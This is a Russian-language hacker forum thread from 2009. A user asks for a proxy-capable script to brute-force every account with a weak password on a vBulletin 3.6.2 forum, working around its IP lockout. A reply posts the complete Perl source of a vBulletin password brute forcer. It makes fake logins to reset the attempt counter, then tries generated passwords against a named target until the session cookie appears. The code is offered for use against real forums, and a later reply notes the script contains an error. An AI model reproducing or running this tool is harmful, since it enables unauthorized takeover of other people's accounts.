vbulletin перебор

Discussion in 'PHP' started by xalior, 30 Jan 2009.

  1. xalior

    xalior New Member

    Joined:
    17 Nov 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Есть форум vbulletin 3.6.2 - нужно найти все аккаунты (перебрать все id) с простыми паролями (12345, 11111, etc) - может существует какой скрипт с поддержкой прокси? Там блокируется ip после 5 попыток, не вручную же каждый...
     
  2. ReduKToR

    ReduKToR Active Member

    Joined:
    5 Jan 2009
    Messages:
    257
    Likes Received:
    179
    Reputations:
    4
    xalior, называется vbulletin brute force ,написан на перле, но в паблике достойного невидел
     
  3. lamadot

    lamadot New Member

    Joined:
    21 Jul 2007
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    во....
    Vbulletin Password Brute Force, 3.6 - 3.7 version

    Функционал:
    -Работа через прокси
    -Многопоточность
    -Поддержка 16-ричных паролей
    -Отсев мертвых прокси
    -Работа с базами брута

    #!/usr/bin/perl

    use IO::Socket;
    use LWP::UserAgent;
    use HTTP::Cookies;
    use Time::HiRes qw(gettimeofday);

    $host = $ARGV[0];
    $usern = $ARGV[1];
    $passw = $ARGV[2];
    $uname = $ARGV[3];
    $url = "http://".$host;
    $alpha = "abcdefghijklmnopqrstuvwxyz"; #charset
    $charcount = 24; #number of chars in $alpha
    $dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.
    $count = 0;
    $logins = 0;
    $minchars = 1; #min chars
    $maxchars = 10; #max chars

    print q(

    ###########################################################
    # vBulletin brute forcer #
    # http://www.unnamedone.com #
    # [email protected] #
    # 09 - April - 2008 #
    ################## Coded By UnnamedOne ####################

    );

    if (@ARGV < 4)

    {

    print " # Я не отвечаю за что-нибудь, что вы удовлетворяетесь с этим!\n";
    print " # Тестировалось только версиях vBulletin 3.6.8 and 3.7.0!\n";
    print " # usage : vbrute.pl [host & path] [user] [pass] [target]\n";
    print " # E.g : vbrute.pl www.milw0rm.com/vBulletin3.6.8/ UnnamedOne MyPass str0ke\n";

    exit();

    }

    fakelogin();
    for(my $t=$minchars;$t<=$maxchars;$t++)
    {
    crack($t);
    }

    sub fakelogin {
    $xplr = LWP::UserAgent->new() or die;
    $cookie_jarr = HTTP::Cookies->new();
    $xplr->cookie_jar( $cookie_jarr );
    $resr = $xplr->post($url.'login.php?do=login',
    Content => [
    "vb_login_username" => "$usern",
    "vb_login_password" => "$passw",
    "do" => "login",
    ],);
    if($cookie_jarr->as_string =~ /IDstack=(.*?);/) {
    #Do nothing..
    }

    else

    {
    #print $cookie_jarr->as_string;
    print "Forum not vulnerable or wrong username / password.\n";
    exit();

    }

    }

    sub crack {

    $xpl = LWP::UserAgent->new() or die;
    $cookie_jar = HTTP::Cookies->new();
    $CharSet = shift;
    @RawString = ();
    for (my $i =0;$i<$CharSet;$i++) {
    $RawString = 0;
    }
    $Start = gettimeofday();
    do {
    for (my $i =0;$i<$CharSet;$i++)
    {
    if ($RawString[$i] > length($alpha)-1) {
    if ($i==$CharSet-1) {
    $cnt = 0;
    return false;
    }
    $RawString[$i+1]++;
    $RawString[$i]=0;
    }
    }
    $ret = "";
    for (my $i =0;$i<$CharSet;$i++) {
    $ret = $ret . substr($alpha,$RawString[$i],1);
    }
    $count++;
    if($count == 4) {
    fakelogin();
    $count = 0;
    }
    $xpl->cookie_jar( $cookie_jar );
    $res = $xpl->post($url.'login.php?do=login',
    Content => [

    "vb_login_username" => "$uname",
    "vb_login_password" => "$ret",
    "do" => "login",

    ],);
    $cnt++;
    $Stop = gettimeofday();
    if ($Stop-$Start>$dbgtmr) {
    $cnt = int($cnt/$dbgtmr);
    $Start = gettimeofday();

    }

    $logins++;
    system("clear");
    $pro = ($logins / ($charcount * $maxchars));
    print "Current password: $ret\n";
    print "Login attempts: $logins\n";
    print "Cracking speed: $cnt passwords/sec\n";
    print "$pro% finished.\n";

    $cnt = 0;

    if($cookie_jar->as_string =~ /IDstack=(.*?);/) {
    print "Password cracked! => $ret\n";
    exit();
    }

    $RawString[0]++;
    }while($RawString[$CharSet-1]<length($alpha));

    }

    # www.secnull.org [04.08.08]
     
    #3 lamadot, 3 Feb 2009
    Last edited: 3 Feb 2009
    1 person likes this.
  4. ReduKToR

    ReduKToR Active Member

    Joined:
    5 Jan 2009
    Messages:
    257
    Likes Received:
    179
    Reputations:
    4
    скорй всего и для 3.8.х тож покатит, глобального ничего неизменилось
     
  5. ReduKToR

    ReduKToR Active Member

    Joined:
    5 Jan 2009
    Messages:
    257
    Likes Received:
    179
    Reputations:
    4
    lamadot, в скрипте гето ошибка